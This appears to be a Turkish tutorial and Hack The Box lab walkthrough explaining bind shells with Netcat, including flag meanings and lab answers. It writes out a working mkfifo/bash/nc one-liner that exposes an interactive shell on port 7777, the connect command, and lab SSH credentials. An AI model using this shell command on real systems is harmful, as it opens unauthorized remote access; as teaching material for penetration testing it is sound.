Siber Güvenliğin Temelleri: Bind Shell Nedir ve Nasıl Kurulur?
Netcat ile Hedef Sisteme Doğrudan Bağlantı Kurma Sanatı
Bir sızma testinde veya CTF (Capture The Flag) yarışmasında, hedef sistem üzerinde komut çalıştırabilmek (RCE) büyük bir başarıdır. Ancak bu komutları tek tek çalıştırmak yerine, sanki o bilgisayarın başındaymışız gibi interaktif bir terminale sahip olmak isteriz. İşte bu noktada devreye Shell (Kabuk) kavramı girer.
Shell bağlantıları temel olarak ikiye ayrılır: Reverse Shell (Ters Bağlantı) ve bugünkü konumuz olan Bind Shell (Doğrudan Bağlantı).
1. Bind Shell Nedir?
Mantığı çok basittir: Hedef (Target) dinler, Saldırgan (Client) bağlanır.
[cite_start]Bind Shell senaryosunda, hedef sistem üzerinde bir port açılır (örneğin 7777. port) ve bu porta gelen bağlantıları doğrudan işletim sisteminin komut satırına (bash veya cmd) yönlendirecek bir dinleyici (listener) başlatılır[cite: 1]. Saldırgan ise kendi makinesinden hedef IP adresine ve açılan o porta bağlanır.
Target (Sunucu): "Kapımı (Portumu) açtım, bekliyorum."
Attacker (Saldırgan): "Tamam, IP adresine ve o kapıya geliyorum."
Zorlukları Nelerdir?
Bind Shell teoride harika olsa da pratikte bazı engellerle karşılaşır:
- Güvenlik Duvarları (Firewall): Çoğu sistemde dışarıdan içeriye gelen (Inbound) bağlantılar engellenir.
- NAT Sorunu: Hedef sistem bir router'ın arkasındaysa (iç ağdaysa), doğrudan IP adresine ulaşamazsınız.
- İz Bırakma: Açık bir port bırakmak, sistem yöneticileri tarafından kolayca fark edilebilir.
2. Netcat (nc): İsviçre Çakımız
[cite_start]Bağlantı kurmak için kullanacağımız en temel araç Netcat'tir[cite: 1]. Komutlarda sıkça göreceğimiz -lvnp gibi parametrelerin ne anlama geldiğini ezberlemek yerine mantığını anlayalım:
- -l (listen): Dinleme modunu açar. (Sunucu olmamızı sağlar).
- -v (verbose): Detaylı çıktı verir. Bağlantı kurulduğunda "Connected!" gibi mesajlar görmemizi sağlar.
- -n (numeric-only): DNS çözümü yapma, sadece IP adreslerini kullan. (Hız kazandırır).
- -p (port): Hangi portu dinleyeceğimizi veya hangi porttan çıkacağımızı belirtir.
Yani nc -lvnp 7777 dediğimizde şunu demiş oluyoruz: "DNS ile uğraşma (-n), bana her detayı söyle (-v), sunucu gibi davranıp dinle (-l) ve bunu 7777 numaralı portta yap (-p)."
3. Adım Adım Bind Shell Kurulumu
Adım 1: Hedefte Dinleyici Başlatmak (Sunucu)
Önce hedef sistemde (Target) bir kapı açmamız ve bu kapıyı komut satırına (bash) bağlamamız lazım. İşte sihirli komut:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 0.0.0.0 7777 > /tmp/f
Bu komut ne yapıyor?
mkfifo /tmp/f: Geçici bir "boru" (pipe) dosyası oluşturur. Bu, verilerin gidip gelmesini sağlar.cat /tmp/f | /bin/bash -i: Borudan gelen veriyi interaktif bir bash kabuğuna aktarır.nc -l ... 7777 > /tmp/f: Netcat 7777 portunu dinler ve gelen komutları boruya, borudan gelen cevapları da saldırgana gönderir.
Adım 2: Saldırganın Bağlanması (Client)
Hedef kapıyı açtı, şimdi kendi makinemizden (Pwnbox) o kapıya gidelim:
nc -nv 10.129.41.200 7777
Eğer her şey yolunda giderse, terminalinizde bir sessizlik olur veya basit bir imleç yanıp söner. whoami veya ls yazdığınızda cevap alıyorsanız, tebrikler! Artık o sistemin içindesiniz.
🚩 Pratik Zamanı: HTB Görevleri
Soru 1: Hangi Porta Bağlanmalıyız?
Soru: Des, bir Linux hedefinde nc -lvnp 443 komutunu çalıştırdı. Saldırı makinesinden hangi porta bağlanmalıdır?
Mantık: -p parametresi veya komutun sonundaki sayı dinlenen portu belirtir.
Cevap: 443
Soru 2: Flag'i Yakalamak
Görev: Hedefe SSH ile bağlan, Bind Shell oluştur ve kendi makinenle bağlanıp /customscripts/flag.txt dosyasını oku.
Çözüm Adımları:
- SSH ile Hedefe Gir:
ssh htb-student@HEFEF_IP(Şifre: HTB_@cademy_stdnt!) - Bind Shell'i Başlat (Hedef Makinede):
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 0.0.0.0 7777 > /tmp/f - Bağlantıyı Kur (Kendi Makinende):
Yeni bir terminal aç ve:nc -nv HEDEF_IP 7777 - Flag'i Oku:
Bağlantı sağlanınca:cat /customscripts/flag.txt
Özet
Bind Shell, doğrudan kapıyı çalıp içeri girmek gibidir. Güvenlik duvarları yüzünden her zaman mümkün olmasa da, iç ağlarda (Internal Network) veya güvenlik önlemleri zayıf sistemlerde hala çok etkilidir. Parametreleri (-lvnp) ve mantığı kavradığınızda, sistemler arası tüneller açmak çocuk oyuncağına dönüşür.
